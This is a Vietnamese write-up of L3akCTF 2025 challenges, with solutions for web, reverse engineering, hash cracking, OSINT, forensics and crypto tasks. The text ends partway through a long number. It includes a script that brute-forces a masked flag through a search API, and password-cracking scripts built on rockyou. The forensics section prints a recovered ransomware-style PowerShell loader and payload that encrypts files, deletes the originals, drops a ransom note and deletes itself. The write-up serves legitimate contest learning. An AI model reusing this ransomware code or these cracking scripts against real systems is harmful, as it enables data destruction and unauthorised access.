# L3akCTF 2025 Writeup
>By: TAS.ElPulga
## Misc
### Puzzles - 1
@daq

Bài này khi truy cập link sẽ đến một trang web để chơi xếp hình
Mình không biết có cách nào khác không nhưng bài này mình tự xếp đủ 10 hình bằng tay trong thời gian quy định và sau đó đã được flag

```
FLAG: L3AK{1_th4t_w45_pr3tty_34sy}
```
## Hardware-RF
### Strange Transmission
@daq

Được cung cấp một file audio `.wav`, mở nó lên trong audacity và chọn chế độ spectrogram
Kéo dài nó ra sẽ được một nửa sau của flag

Đoạn trước có vẻ khá giống morse code, thử decode nó và được kết quả như sau

Ghép hai phần lại và ta được flag cuối cùng
```
FLAG: L3AK{WELC0M3_T0_TH3_H4RDW4R3_RF_c4teg0ry_w3_h0p3_you_h4ve_fun!}
```
## Web
### Flag L3ak
@daq

Khi truy cập trang web có thể thấy các bài blog như sau

Ở search bar thì chỉ có thể input 3 kí tự để search và flag đã được censor bởi những dấu hoa thị
Vào đọc `index.js` có thể thấy đoạn code sau
```python
app.post('/api/search', (req, res) => {
const { query } = req.body;
if (!query || typeof query !== 'string' || query.length !== 3) {
return res.status(400).json({
error: 'Query must be 3 characters.',
});
}
const matchingPosts = posts
.filter(post =>
post.title.includes(query) ||
post.content.includes(query) ||
post.author.includes(query)
)
.map(post => ({
...post,
content: post.content.replace(FLAG, '*'.repeat(FLAG.length))
}));
res.json({
results: matchingPosts,
count: matchingPosts.length,
query: query
});
});
app.get('/api/posts', (_, res) => {
const publicPosts = posts.map(post => ({
id: post.id,
title: post.title,
content: post.content.replace(FLAG, '*'.repeat(FLAG.length)),
author: post.author,
date: post.date
}));
res.json({
posts: publicPosts,
total: publicPosts.length
});
});
```
Có thể thấy `/api/posts` trả về blo với flag đã bị ẩn và `/api/search` cho phép tìm kiếm 3 kí tự
Sử dụng code python sau để exploit
```python
import re
import string
import sys
import time
from itertools import cycle
import requests
# CONFIG
URL = "http://34.134.162.213:17000"
# printable ASCII 0x20–0x7e (space through '~'), minus whitespace controls
ALPHABET = ''.join(ch for ch in string.printable if ch not in '\n\r\t\x0b\x0c')
FLAG_START = "L3AK{" # known prefix for this CTF (change if organiser differs)
RATE_LIMIT = 0.05 # seconds to sleep between requests (tweak if throttled)
# Helpers
session = requests.Session()
def get_posts():
resp = session.get(f"{URL}/api/posts", timeout=10)
resp.raise_for_status()
data = resp.json()
return data["posts"] if isinstance(data, dict) else data
def search(query: str):
assert len(query) == 3, "search() queries must be exactly 3 bytes"
resp = session.post(f"{URL}/api/search", json={"query": query}, timeout=10)
resp.raise_for_status()
return resp.json()["results"]
# Locate the masked post and flag length
posts = get_posts()
mask_re = re.compile(r"\*{5,}") # ≥5 asterisks → masked flag
masked_post = next(p for p in posts if mask_re.search(p["content"]))
POST_ID = masked_post["id"]
MASK_LEN = len(mask_re.search(masked_post["content"]).group(0))
print(f"[+] Masked post #{POST_ID} found – flag length is {MASK_LEN} bytes")
#Carve out the flag
flag = FLAG_START
spinner = cycle(r"\|/-") # tiny CLI spinner, purely cosmetic
while len(flag) < MASK_LEN:
for ch in ALPHABET:
# build a 3-byte sliding window
if len(flag) >= 2:
query = flag[-2:] + ch
elif len(flag) == 1:
query = flag[-1] + ch + "X"
else: # len(flag) == 0 (shouldn’t happen here)
query = ch + "YY"
query = query[:3] # make SURE it is 3 bytes
hits = search(query)
time.sleep(RATE_LIMIT)
if any(p["id"] == POST_ID for p in hits):
flag += ch
print(
f"\r[+] Recovered so far: {flag:<{MASK_LEN}} {next(spinner)}",
end="",
flush=True,
)
break
else:
# Exhausted alphabet → most likely the flag uses a char outside ALPHABET
print("\n[-] Alphabet exhausted. Add extra chars to ALPHABET and retry.")
sys.exit(1)
print(f"\n[+] Full flag: {flag}")
```

```
FLAG: L3AK{L3ak1ng_th3_Fl4g??}
```
## Rev
### babyRev
@daq

Khi strings file này có thể thấy đoạn sau

Rõ ràng đó không phải flag thật, cần phải giải mã
Khi phân tích có thể thấy
+ Có remap table ở startup
+ Chỉ những kí tự thường không viết hoa được remap
+ Mỗi kí tự được input sẽ được thay thế bằng remap này trước khi được so sánh với flag đã bị encode
Có bảng mapping như sau

Sử dụng script python
```python
enc_flag = "ngx_qkt_fgz_ugffq_uxtll_dt"
remap = {
'a':'q','b':'w','c':'e','d':'r','e':'t','f':'y','g':'u','h':'i','i':'o','j':'p',
'k':'a','l':'s','m':'d','n':'f','o':'g','p':'h','q':'j','r':'k','s':'l','t':'z',
'u':'x','v':'c','w':'v','x':'b','y':'n','z':'m'
}
inverse = {v:k for k,v in remap.items()}
decoded = ''.join(inverse.get(ch, ch) for ch in enc_flag)
print(decoded)
```

Thử lại khi execute file và nhập vào flag

Điều đó confirm là flag đã đúng
```
FLAG: L3AK{you_are_not_gonna_guess_me}
```
## Hash Cracking
### Mildly Disastrous 5ecurity
@daq

Bài này chỉ cần `hashcat` và `rockyou.txt` là sẽ giải được
Tạo file hashes.txt bao gồm 3 mã hash
```
53e182cbd4daa6680f1a7c7b85eba802
1bfcbffaf03174f022225a62ddf025a8
1853572d1b6ae6f644718a6b6df835f9
```
Dùng lệnh `hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt`
Sau đó dùng `hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --show`
để xem kết quả
Khi đó output sẽ là
```
53e182cbd4daa6680f1a7c7b85eba802:cookiezz
1bfcbffaf03174f022225a62ddf025a8:m00nl!ght
1853572d1b6ae6f644718a6b6df835f9:sauron82
```
Như vậy flag cuối cùng là
```
FLAG: L3AK{cookiezz_m00nl!ght_sauron82}
```
### Rule Breaker 1
@hphuc204

- Tìm pass1:
Ta sẽ tạo file hashes.txt
```echo "5e09f66ae5c6b2f4038eba26dc8e22d8aeb54f624d1d3ed96551e900dac7cf0d" > hashes.txt```
Sau đó dùng ``` hashcat -m 1400 -a 0 -r append_custom.rule -o found.txt hashes.txt rockyou.txt```
Khi có thông báo ```INFO: All hashes found as potfile and/or empty entries! Use --show to display them.```
nghĩa là hash đã được giải và kết quả đã được lưu trong potfile của hashcat.
Ta sẽ dem kết quả

- Tìm pass 2:
Dựa vào yêu cầu đề bài ta sẽ viết đoạn code python có tên ```crack_pass2.py``` để:
- Lặp từng từ trong rockyou.txt
- Xoá lần lượt từng ký tự trong từ đó
- Hash từng phiên bản bị xoá và so sánh với hash đề cho
```python
import hashlib
def sha256(s):
return hashlib.sha256(s.encode()).hexdigest()
target_hash = "fb58c041b0059e8424ff1f8d2771fca9ab0f5dcdd10c48e7a67a9467aa8ebfa8"
count = 0
with open("rockyou.txt", "r", encoding="latin-1") as f:
for word in f:
word = word.strip()
# Loại bỏ từ quá ngắn (xóa 1 ký tự phải còn > 0)
if len(word) < 2:
continue
for i in range(len(word)):
mutated = word[:i] + word[i+1:] # xóa ký tự tại vị trí i
count += 1
if count % 500000 == 0:
print(f"Đã thử {count} tổ hợp: {mutated}")
if sha256(mutated) == target_hash:
print("✅ Password 2 FOUND:", mutated)
exit()
```
Và đây là kết quả

- Tương tự với pass3 khi nguyên âm được leet hóa bao gồm các kí tự ```a,e,i,o,u.```
- Ta sẽ tạo một đoạn python có tên ```crack_pass3.py```
```python import hashlib
from itertools import product
from multiprocessing import Pool, cpu_count
# SHA256 hash của pass3
target = "4ac53d04443e6786752ac78e2dc86f60a629e4639edacc6a5937146f3eacc30f"
# Bảng leet hóa nguyên âm
leet_map = {
'a': ['a', '4', '@'],
'e': ['e', '3', '€'],
'i': ['i', '1', '!'],
'o': ['o', '0'],
'u': ['u', 'µ']
}
# Tạo tất cả biến thể leet hóa chỉ nguyên âm
def leet_variants(word):
slots = []
for c in word:
if c.lower() in leet_map:
slots.append(leet_map[c.lower()])
else:
slots.append([c])
return map(''.join, product(*slots))
# So khớp từng biến thể với SHA256 hash
def process_word(word):
word = word.strip()
for variant in leet_variants(word):
h = hashlib.sha256(variant.encode()).hexdigest()
if h == target:
return variant
return None
# Hàm chính: chạy nhiều tiến trình song song
def main():
with open("rockyou.txt", "r", errors="ignore") as f:
# Chỉ lấy các từ chứa nguyên âm để tiết kiệm thời gian
words = [line.strip() for line in f if any(v in line for v in 'aeiou')]
with Pool(cpu_count()) as pool:
for result in pool.imap_unordered(process_word, words):
if result:
print(f"\n✅ Found pass3: {result}")
break
if __name__ == "__main__":
main()
```
Kết quả là 
FLAG : L3AK{hyepsi^4B_thecowsaysmo_unf0rg1v@bl3}
## OSINT
### Sunny day


Có thể thấy cờ của nước Liechtenstein
Dựa vào khung cảnh xung quanh tìm ra đó là ở thành phố Trisenberg, ở tọa độ `47°07'02.7"N 9°32'45.6"E`

Chọn vị trí tương ứng ở web osint sẽ ra flag

```
FLAG: L3AK{sUn5H1Ne_iN_L1ecHt3nSTe1n}
```
### Mountain View
@daq


Nhìn thấy biển sau, dịch từ tiếng Nhật ra là Hanayagura Observatory
Search chỗ đó trên google map và địa điểm cần tìm ở ngay gần, tọa độ là `34°21'21.7"N 135°52'19.5"E`

Trên web của giải ctf click submit vị trí tương tự sẽ hiện ra flag

```
FLAG: L3AK{y0sh1n0_HAs_gR3At_54KuRA_Bl0s5omS}
```
### Lost Locomotives


Nhìn vào núi và đường tàu có thể đoán là Nam Mĩ
Sau đó tìm ra nó ở đâu đó xung quang Sacred Valley
Sau một hồi thì tìm ra nó ở Peru với tọa độ
`13°15'49.9"S 72°16'08.7"W`

Chọn vị trí tương tự trên map của web osint thì ra được flag

```
FLAG: L3AK{cH00_Ch0o_1n_P3Ru}
```
### Elephant Enclosure
@Haizzzzzzzzz




Dựa vào các chi tiết xung quanh thì ta có thể nhận định răngf đây là chuồng voi của sở thú nào đó??
SAu khi tìm kiểm bằng các hình ảnh trong tọa độ thì ta biết được đây là sở thú Singapore

sau khi tìm được vị trí của chuồng voi thì ta cuungx đã tìm được flag


```
FLAG: L3AK{E13ph4nTs_4R3_F4sT_AF_https://youtu.be/ccxNteEogrg}
```
## Forensics
### Ghost In The Dark
@daq

Giải nén file 3 lần được các file sau


Ở trong folder `[SYSTEM]` có file `$MFT`, mở nó bằng MFT Explorer
Thấy `loader.ps1` đã bị xóa và nội dung của nó

```bash
$key = [System.Text.Encoding]::UTF8.GetBytes("0123456789abcdef")
$iv = [System.Text.Encoding]::UTF8.GetBytes("abcdef9876543210")
$AES = New-Object System.Security.Cryptography.AesManaged
$AES.Key = $key
$AES.IV = $iv
$AES.Mode = "CBC"
$AES.Padding = "PKCS7"
$enc = Get-Content "L:\payload.enc" -Raw
$bytes = [System.Convert]::FromBase64String($enc)
$decryptor = $AES.CreateDecryptor()
$plaintext = $decryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
$script = [System.Text.Encoding]::UTF8.GetString($plaintext)
Invoke-Expression $script
# Self-delete
Remove-Item $MyInvocation.MyCommand.Path
```
Nó giải mã `payload.enc` đã bị mã hóa sử dụng hard coded AES key và IV value, sau đó thực thi nội dung đã được giải mã

Sử dụng CyberChef để giải mã `payload.enc`, với key và value đã có

```bash
$key = [System.Text.Encoding]::UTF8.GetBytes("m4yb3w3d0nt3x1st")
$iv = [System.Text.Encoding]::UTF8.GetBytes("l1f31sf0rl1v1ng!")
$AES = New-Object System.Security.Cryptography.AesManaged
$AES.Key = $key
$AES.IV = $iv
$AES.Mode = "CBC"
$AES.Padding = "PKCS7"
# Load plaintext flag from C:\ (never written to L:\ in plaintext)
$flag = Get-Content "C:\Users\Blue\Desktop\StageRansomware\flag.txt" -Raw
$encryptor = $AES.CreateEncryptor()
$bytes = [System.Text.Encoding]::UTF8.GetBytes($flag)
$cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
[System.IO.File]::WriteAllBytes("L:\flag.enc", $cipher)
# Encrypt other files staged in D:\ (or L:\ if you're using L:\ now)
$files = Get-ChildItem "L:\" -File | Where-Object {
$_.Name -notin @("ransom.ps1", "ransom_note.txt", "flag.enc", "payload.enc", "loader.ps1")
}
foreach ($file in $files) {
$plaintext = Get-Content $file.FullName -Raw
$bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
$cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
[System.IO.File]::WriteAllBytes("L:\$($file.BaseName).enc", $cipher)
Remove-Item $file.FullName
}
# Write ransom note
$ransomNote = @"
i didn't mean to encrypt them.
i was just trying to remember.
the key? maybe it's still somewhere in the dark.
the script? it was scared, so it disappeared too.
maybe you'll find me.
maybe you'll find yourself.
- vivi (or his ghost)
"@
Set-Content "L:\ransom_note.txt" $ransomNote -Encoding UTF8
# Self-delete
Remove-Item $MyInvocation.MyCommand.Path
```
Payload này mã hóa tất cả các file trong folder `L:` trừ những file đã xác định trước đó bằng hard coded key và IV
Tiếp tục dùng CyberChef giải mã `flag.enc` với key và value mới tìm được bên trên

```
FLAG: L3AK{d3let3d_but_n0t_f0rg0tt3n}
```
### Wi-Fight A Ghost?
@daq @hphuc204

Cần phải trả lời 14 câu hỏi để có được flag

Công cụ sử dụng cho bài: Registry Explorer, DB Browser for SQLite, MFT Explorer
#### 1. What was the ComputerName of the device?
Di chuyển đến `KAPEOUT/C/Windows/System32/config/SYSTEM`
Mở hive `SYSTEM` bằng registry explorer, đến `ControlSet001\Control\ComputerName\ComputerName`

Tìm được tên máy tính là `99PHOENIXDOWNS`

#### 2. What was the SSID of the first Wi-Fi network they connected to?
Cần load hive `SOFTWARE` bằng registry explorer, đến `Microsoft\Windows NT\CurrentVersion\NetworkList`

Thấy có 2 cái, nhưng đề bài hỏi cái nào đầu tiên nên dựa vào thời gian, chọn cái sớm hơn là `mugs_guest_5G`

#### 3. When did they obtain the DHCP lease at the first café?
Ở hive `SYSTEM`, ở `ControlSet001\Services\Tcpip\Parameters\Interfaces`

Đáp án là `2025-05-14 00:13:36`

#### 4. What IP address was assigned at the first café?
Vẫn ở vị trí như câu trên, có được địa chỉ IP là `192.168.0.114`


#### 5. What GitHub page did they visit at the first café?
Truy cập file History của Edge `KAPEOUT\C\Users\NotVi\AppData\Local\Microsoft\Edge\User Data\Default\History`
Mở bằng DB Browser, chọn tab `Browse Data` và chọn table `urls`

Thấy link Github và đó chính là đáp án
`https://github.com/dbissell6/DFIR/blob/main/Blue_Book/Blue_Book.md`

#### 6. What did they download at the first café?
Vẫn ở DB Browser, chuyển sang table `downloads`

Thấy được file được tải là `ChromeSetup.exe`

#### 7. What was the name of the notes file?
Ở `KAPEOUT\C\Users\NotVi\AppData\Roaming\Microsoft\Windows\Recent` thấy có file .txt

Đáp án là `HowToHackTheWorld.txt`

#### 8. What are the contents of the notes?
Thử ấn vào file đó luôn nhưng không được

Cần sử dụng MFT Explorer để mở file `$MFT`

Sau hơn 30 phút đợi load thì cũng đã tìm được nội dung của file txt

Đáp án là `Practice and take good notes.`

#### 9. What was the SSID of the second Wi-Fi network they connected to?
Tương tự như câu 2, lần này đáp án là cái còn lại, `AlleyCat`


#### 10. When did they obtain the second lease?
Đáp án là `2025-05-14 00:35:07`


#### 11. What was the IP address assigned at the second café?

Đáp án là `10.0.6.28`

#### 12. What website did they log into at the second café?
Như đã thấy ở câu 5, lịch sử duyệt web của Edge kết thúc khi user đã tải Google Chrome, nên cần phải xem History bên Chrome ở `KAPEOUT\C\Users\NotVi\AppData\Local\Google\Chrome\User Data\Default\History`

Như vậy người dùng đã login ở `l3ak.team`

#### 13. What was the MAC address of the Wi-Fi adapter used?
Đáp án là ```48:51:C5:35:EA:53```
Cài đặt python-evtx trong môi trường ảo ```
pip install python-evtx```
Vì đề bài yêu cầu tìm địa chỉ của MAC nên ta có thể tìm nó trong file ```.evtx```
Sau đó ta sẽ kiểm tra file .evtx đang ở đâu```find . -iname "*.evtx"```
Trích xuất xong ta sẽ tập trung vào 3 file:
```
./Windows/System32/winevt/logs/Microsoft-Windows-WLAN-AutoConfig%4Operational.evtx
./Windows/System32/winevt/logs/Microsoft-Windows-NetworkProfile%4Operational.evtx
./Windows/System32/winevt/logs/Microsoft-Windows-Dhcp-Client%4Admin.evtx
```
Tạo file Python tên parse_evtx.py
```python
from Evtx.Evtx import Evtx
import sys
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <evtx_file>")
sys.exit(1)
evtx_path = sys.argv[1]
with Evtx(evtx_path) as log:
for record in log.records():
print(record.xml())
```
Sau đó chạy 3 lệnh
```
python parse_evtx.py "./C/Windows/System32/winevt/logs/Microsoft-Windows-WLAN-AutoConfig%4Operational.evtx" > wlan.xml
python parse_evtx.py "./C/Windows/System32/winevt/logs/Microsoft-Windows-NetworkProfile%4Operational.evtx" > netprof.xml
python parse_evtx.py "./C/Windows/System32/winevt/logs/Microsoft-Windows-Dhcp-Client%4Admin.evtx" > dhcp.xml
```
Sau khi chạy xong ta dùng sẽ ra được kết quả
```grep -aiE 'mac|([0-9a-f]{2}[:-]){5}[0-9a-f]{2}|address|physical' wlan.xml netprof.xml dhcp.xml ```


#### 14. What city did this take place in?
Vì các câu hỏi có nói đến quán cafe, và có từ khóa `alleycat`, thử search `alleycat coffee` trên google

Có địa điểm là `Fort Collins` và đây là đáp án đúng

Sau khi trả lời đúng tất cả các câu hỏi thì sẽ được flag

```
FLAG: L3AK{Gh057_R!d!ng_7h3_W4v35}
```
## Crypto
@ansobad
### Basic LLL

Mở file `sage` ta được các số rất dài
```p = random_prime(2^1024, lbound=2^1023)
q = random_prime(2^1024, lbound=2^1023)
n = p * q
x = randint(1, 2^16)
y = randint(1, 2^256)
a = randint(2^1023, 2^1024)
k = a*p + x*y
e = 65537
c = pow(flag, e, n)
```
Đây là kết quả khi chạy file `sage`

Đề bài cho bộ số: x, a, n, k, c
Ý tưởng của tôi đối với bài này sẽ là:
- Khôi phục private key RSA
- Giải mã ciphertext c
- Lấy flag dạng: L3AK{...}
Đề bài cho ta công thức: `k=a⋅p+x⋅y`
Thường các bài ctf kiểu này sẽ cho p cố định
Vì `(x+y)/a` là 1 số cực nhỏ => `p = k/a`
`p = k // a`
`assert n % p == 0 // kiem tra`
Nếu đúng, tiếp tục tìm q:
`q = n // p`
Tìm private key:
`phi = (p - 1)*(q - 1)`
`d = pow(e, -1, phi)`
Giải mã ciphertext:
`m = pow(c, d, n)`
`flag_bytes = m.to_bytes((m.bit_length() + 7) // 8, "big")`
`print(flag_bytes.decode())`
Ghép hết tất cả các bước vào ta có đoạn code:
```python
x = 54203
a = 13953..
n = 12909..
k = 24474...
c = 1118...
e = 65537
p = k // a
assert n % p == 0
q = n // p
phi = (p - 1)*(q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
flag_bytes = m.to_bytes((m.bit_length() + 7) // 8, "big")
print(flag_bytes.decode())
```
```
Flag: L3AK{u_4ctu4lly_pwn3d_LLL_w1th_sh0rt_v3ct0rs_n1c3}
```
### Shiro Hero

Sau khi tải file `.tar` giải nén ra ta có được

```python
from secrets import randbits
from prng import xorshiro256
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from ecc import ECDSA
from Crypto.Util.number import bytes_to_long, long_to_bytes
import hashlib
flag = open("flag.txt", "rb").read()
state = [randbits(64) for _ in range(4)]
prng = xorshiro256(state)
leaks = [prng.next_raw() for _ in range(4)]
print(f"PRNG leaks: {[hex(x) for x in leaks]}")
Apriv, Apub = ECDSA.gen_keypair()
print(f"public_key = {Apub}")
msg = b"My favorite number is 0x69. I'm a hero in your mother's bedroom, I'm a hero in your father's eyes. What am I?"
H = bytes_to_long(msg)
sig = ECDSA.ecdsa_sign(H, Apriv, prng)
print(f"Message = {msg}")
print(f"Hash = {H}")
print(f"r, s = {sig}")
key = hashlib.sha256(long_to_bytes(Apriv)).digest()
iv = randbits(128).to_bytes(16, "big")
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = iv.hex() + cipher.encrypt(pad(flag, 16)).hex()
print(f"ciphertext = {ciphertext}")
with open("output.txt", "w") as f:
f.write(f"PRNG leaks: {[hex(x) for x in leaks]}\n")
f.write(f"public_key = {Apub}\n")
f.write(f"Message = {msg}\n")
f.write(f"Hash = {H}\n")
f.write(f"r, s = {sig}\n")
f.write(f"ciphertext = {ciphertext}\n")
```
File `chal.py` :
- Sinh một PRNG (xorshiro256) với seed ngẫu nhiên
- Dùng PRNG để sinh nonce k cho chữ ký ECDSA
- Sinh khóa riêng ECDSA Apriv → khóa công khai Apub.
- Tính hash H, tạo chữ ký (r, s) cho message
- Từ Apriv tạo khóa AES → mã hoá flag
Đến đây thì vào đúng dạng: **PRNG rò rỉ → ECDSA nonce → khôi phục private key → giải mã AES**
File `output.txt` cho ta:
```
PRNG leaks: ['0x785a1cb672480875', '0x91c1748fec1dd008', '0x5c52ec3a5931f942', '0xac4a414750cd93d7']
public_key = (108364470534029284279984867862312730656321584938782311710100671041229823956830, 13364418211739203431596186134046538294475878411857932896543303792197679964862)
Message = b"My favorite number is 0x69. I'm a hero in your mother's bedroom, I'm a hero in your father's eyes. What am I?"
Hash = 95294420117...
r, s = (54809455810753652852551513610089439557885757561953942958061085530360106094036, 42603888460883531054964904523904896098962762092412438324944171394799397690539)
ciphertext = 404e9a7bbdac8d3912d881914ab2bdb924d85338fbd1a6d62a88d793b4b9438400489766e8e9fb157c961075ad4421fc
```
- PRNG leaks: 4 số từ PRNG
- public_key: (Qx, Qy)
- r, s: chữ ký
- ciphertext: flag mã hoá AES-CBC
Ý tưởng của bài này mình sẽ nghĩ là:
- Xorshiro256 là một PRNG tuyến tính → có thể đảo ngược
- Biết 4 giá trị next_raw() → có thể khôi phục state 256-bit
- Biết k, r, s, H, ta có thể giải công thức chữ ký ECDSA để tìm khóa riêng Apriv:

Với Apriv, giải mã AES-CBC để lấy flag
Code giải bài này:
```python
from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long
from Crypto.Cipher import AES
import hashlib
# Các tham số elliptic curve secp256k1
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
# Dữ liệu từ output.txt
leaks_hex = [
'0x785a1cb672480875',
'0x91c1748fec1dd008',
'0x5c52ec3a5931f942',
'0xac4a414750cd93d7'
]
r = 54809455810753652852551513610089439557885757561953942958061085530360106094036
s = 42603888460883531054964904523904896098962762092412438324944171394799397690539
H = 9529442011748664341738996529750340456157809966093480864347661556347262857832209689182090159309916943522134394915152900655982067042469766622239675961581701969877932734729317939525310618663767439074719450934795911313281256406574646718593855471365539861693353445695
ciphertext_hex = "404e9a7bbdac8d3912d881914ab2bdb924d85338fbd1a6d62a88d793b4b9438400489766e8e9fb157c961075ad4421fc"
iv = bytes.fromhex(ciphertext_hex[:32])
ct = bytes.fromhex(ciphertext_hex[32:])
# PRNG xorshiro256
MASK64 = (1 << 64) - 1
def rotl(x, k):
return ((x << k) | (x >> (64 - k))) & MASK64
def next_state(s):
s0, s1, s2, s3 = s
t = (s1 << 17) & MASK64
s2 ^= s0
s3 ^= s1
s1 ^= s2
s0 ^= s3
s2 ^= t
s3 = rotl(s3, 45)
return [s0, s1, s2, s3]
def temper(s1):
return (rotl((s1 * 5) & MASK64, 7) * 9) & MASK64
# Khôi phục state PRNG
leaks = [int(x, 16) for x in leaks_hex]
def basis_vector(idx):
s = [0, 0, 0, 0]
s[idx // 64] = 1 << (idx % 64)
return s
def compute_s1_steps(state, steps):
outs = []
for _ in range(steps):
outs.append(state[1])
state = next_state(state)
return outs
def build_matrix_and_b(leaks):
rows = [0] * 256
b = [0] * 256
# Fill b vector
eq_idx = 0
for step in range(4):
for bit in range(64):
b[eq_idx] = (leaks[step] >> bit) & 1
eq_idx += 1
# Ma tran
for j in range(256):
base = basis_vector(j)
outputs = compute_s1_steps(base.copy(), 4)
eq_idx = 0
for step in range(4):
for bit in range(64):
if (outputs[step] >> bit) & 1:
rows[eq_idx] |= (1 << j)
eq_idx += 1
return rows, b
def solve_linear(rows, b):
n = 256
rows = rows.copy()
b = b.copy()
for col in range(n):
pivot = None
for r in range(col, n):
if (rows[r] >> col) & 1:
pivot = r
break
if pivot is None:
raise Exception("Matrix not invertible")
rows[col], rows[pivot] = rows[pivot], rows[col]
b[col], b[pivot] = b[pivot], b[col]
for r in range(n):
if r != col and ((rows[r] >> col) & 1):
rows[r] ^= rows[col]
b[r] ^= b[col]
x = 0
for i in range(n):
if b[i]:
x |= (1 << i)
return x
rows, b_vec = build_matrix_and_b(leaks)
state_bits = solve_linear(rows, b_vec)
s0 = state_bits & MASK64
s1 = (state_bits >> 64) & MASK64
s2 = (state_bits >> 128) & MASK64
s3 = (state_bits >> 192) & MASK64
state = [s0, s1, s2, s3]
for _ in range(4):
state = next_state(state)
k_tempered = temper(state[1])
k = k_tempered % n
# Tính private key Apriv
Apriv = ((s * k - H) * inverse(r, n)) % n
# Step 4: Giải mã flag
key = hashlib.sha256(long_to_bytes(Apriv)).digest()
cipher = AES.new(key, AES.MODE_CBC, iv)
flag = cipher.decrypt(ct).rstrip(b"\x00").decode()
print("Flag:", flag)
```
```
Flag: L3AK{u_4r3_th3_sh1r0_h3r0!}
```
### Lowkey RSA

Ta xem file `lowkey-rsa.py`, thấy đoạn code sinh khoá và mã hoá như sau:
```python
# sinh p, q sao cho:
# q < p < 2*q
N = p * q
phi = (p**4 - 1)*(q**4 - 1)
d = random.randrange(1, int((t)**0.5) - 1)
e = inverse(phi - d, phi)
c = pow(m, e, N)
```
Tôi thấy:
- Totient lạ: Thay vì `(p-1)*(q-1)`, họ dùng `(p⁴−1)*(q⁴−1)`
- `d` nhỏ: Họ chọn d random trong khoảng `[1, sqrt(t)-1]`, mà t gần bằng `N⁴ / 85`.
⇒` d` chỉ khoảng N/9, rất nhỏ so với `phi ≈ N⁴`.
- `e` được tính bằng: 
Thế thì ta sẽ làm như sau:
- Duyệt continued fraction
- Kiểm tra từng (𝑘,𝑑)
- 
Code:
```python
from fractions import Fraction
from math import isqrt
def solve_lowkey_rsa(N, e, c):
sqrt_t = isqrt((2*N**4 - 49*N**2 + 2) // (4*N + 170*N**2))
r = Fraction(e, N**4)
cf = []
while True:
q = r.numerator // r.denominator
cf.append(q)
rem = r.numerator % r.denominator
if rem == 0:
break
r = Fraction(r.denominator, rem)
num, den, prev_num, prev_den = 1, 0, 0, 1
for a in cf:
num, den, prev_num, prev_den = (
a*num + prev_num, a*den + prev_den, num, den
)
k, d = num, den
if d <= 1 or d >= sqrt_t:
continue
if (e*d + 1) % k:
continue
phi = (e*d + 1) // k
d_priv = (phi - d) % phi
m = pow(c, d_priv, N)
flag = m.to_bytes((m.bit_length() + 7) // 8, 'big')
if flag.startswith(b"L3AK{"):
return flag.decode()
return "[!] No flag found"
```
```
Flag: L3AK{L0wK3y_Th1S_RSA_i5_kiNda_ScuFf3D_LmA0}
```
### Mersenne Mayhem

Tải file và giải nén đây là toàn bộ nội dung 2 file
`chal.py`
```python
```#!/usr/bin/python3
from random import SystemRandom
from math import gcd
from Crypto.Util.number import inverse
from Crypto.Random import get_random_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from hashlib import sha3_256
m_prime = 11213 # số mũ Mersenne prime
xi1 = 0.31 # tham số cho bit length f
xi2 = 0.69 # tham số cho bit length g
w = 10 # số lượng bit 1
rand = SystemRandom()
def hamming_weight(a):
return a.bit_count()
def get_number(n, h):
if not (1 <= h <= n):
raise ValueError(f"Cannot set {h} bits in {n}-bit number")
low_positions = rand.sample(range(n - 1), h - 1)
positions = low_positions + [n - 1]
a = 0
for pos in positions:
a |= 1 << pos
return a
def gen_params(n, w, xi1, xi2, af=1):
p = 2**n - 1
bf = int(n * xi1)
bg = int(n * xi2 * af)
f = get_number(bf, w)
g = get_number(bg, w)
while gcd(f, g) != 1:
g = get_number(bg, w)
h = inverse(g, p) * f % p
return p, f, g, h
def main():
p, f, g, h = gen_params(m_prime, w, xi1, xi2)
secret = (f * g ) % p
secret_bytes = secret.to_bytes((secret.bit_length() + 7)//8, byteorder='big')
flag = open('flag.txt', 'rb').read()
key = sha3_256(secret_bytes).digest()
iv = get_random_bytes(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext_raw = iv + cipher.encrypt(pad(flag, 16))
ciphertext_hex = ciphertext_raw.hex()
print(f"Ciphertext = {ciphertext_hex}")
print(f"p = {p}")
print(f"h = {h}")
print(f"xi1 = {xi1}")
print(f"xi2 = {xi2}")
print(f"w = {w}")
if __name__ == "__main__":
main()
```
File `output.txt`
```
Ciphertext = 41b53384d92de5c678a2138a0da552d174d77c420591b29ccb7c7610310bf82bcb58f903a423d7d257e3ee4ae2c4da69
p = 28141120136973731333931529758425841918186623820136007878924193493455151766822763138107150947456332570741987893085350715373424450164188818017893905487094143918572575715657587064784183567470706746334971880530508754168216243256805558260711106919466074608730569653608305715902427749342268661839663091854334625145374842586559823862350460292275078014109071633484395477810933972600969096770918439445557542211154773437602069796500670878849934780129772778785328074322365540209315718023104299231675884324570361041108509604397690384503655140223496253836657512071696616973527322361119268464547517017345270113791481751078208212976289467956310989607674922504948342540733344141216278339394615392125289320107261366892936888156654916713951747104526637091757536037741568557665153138276137272816966926335296663637872865397699416091077771835933360026801245176334514904395983248238364572512194063914326356392256045560423960043077993619273799005864004207630923208133922624929420763129332680338184715552558206393088899486655702024038158563135789497797670462618453279567257672892052623117520147862478133318340150844753867605266122173405797212374144858037253554630220095363010081458675247046046188620390935552061953282409518951070407932848250954625301518728239971717641406633158043090086119425783809310647489915944074763284377858488254239211706149382940294832571629792993889406958773754489480811083452933943278084527297898341351401939124196617994887952103282381127422187006345411497436572872328434263693488048789934719624033939678576761503716001966502521682501177931784880120005054228213625505205092097244598958523668274778516191905032548531150294031321789890051957511943013402772827303906836511205878950601987531218821877886570240072917841865185899777885103067439458961086452587664156928256641744706161533051448522738845496350592554106064584273238641095066876363144475142690949329532199242125946951576550091585211734209232758820633276254086179630329620335725635536040